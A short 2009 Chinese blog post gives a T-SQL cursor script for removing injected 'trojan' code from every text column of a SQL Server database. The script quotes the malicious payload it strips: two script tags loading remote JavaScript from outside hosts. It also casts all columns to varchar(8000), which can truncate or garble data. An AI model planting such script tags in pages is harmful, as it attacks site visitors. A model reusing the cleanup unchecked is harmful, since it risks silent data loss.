随笔- 29  评论- 129  文章- 564 

批量删除sql数据库木马

将以下代码直接贴到分析器,把那木马脚本替换掉,运行就行了.

 

DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=replace(cast(['+@C+'] as varchar(8000)),''<script src=http://3%62omb.com/c.js></script><script src=http://e6t.3322.org/c.js></script>'','''') ')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

posted on 2009-03-10 17:02 石川 阅读(...) 评论(...) 编辑 收藏